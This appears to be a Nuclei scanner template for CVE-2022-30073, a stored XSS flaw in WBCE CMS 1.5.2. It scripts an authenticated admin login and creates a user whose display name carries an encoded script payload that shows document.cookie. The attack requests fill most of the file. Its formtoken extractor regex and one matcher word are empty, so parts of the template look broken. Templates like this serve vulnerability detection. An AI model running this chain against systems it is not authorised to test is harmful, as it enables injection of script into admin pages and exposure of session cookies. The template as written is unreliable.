id: CVE-2022-30073 info: name: WBCE CMS v1.5.2 XSS Stored author: arafatansari severity: medium description: | WBCE CMS 1.5.2 is vulnerable to Cross Site Scripting (XSS) via \admin\user\save.php Display Name parameters. reference: - https://github.com/APTX-4879/CVE - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30073 metadata: verified: true tags: cve,cve2022,wbcecms,xss requests: - raw: - | POST /admin/login/index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded url=&username_fieldname=username_axh5kevh&password_fieldname=password_axh5kevh&username_axh5kevh={{username}}&password_axh5kevh={{password}}&submit=Login - | GET /admin/users/index.php HTTP/1.1 Host: {{Hostname}} - | POST /admin/users/index.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded formtoken={{formtoken}}&user_id=&username_fieldname=username_tep83j9z&username_tep83j9z=testme2&password=temp1234&password2=temp1234&display_name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&email=testme2%40abc.com&home_folder=&groups%5B%5D=1&active%5B%5D=1&submit= - | GET /admin/users/index.php HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: formtoken part: body group: 1 regex: - '' internal: true cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - "

" - "WBCECMS" condition: and - type: word part: header words: - text/html - type: status status: - 200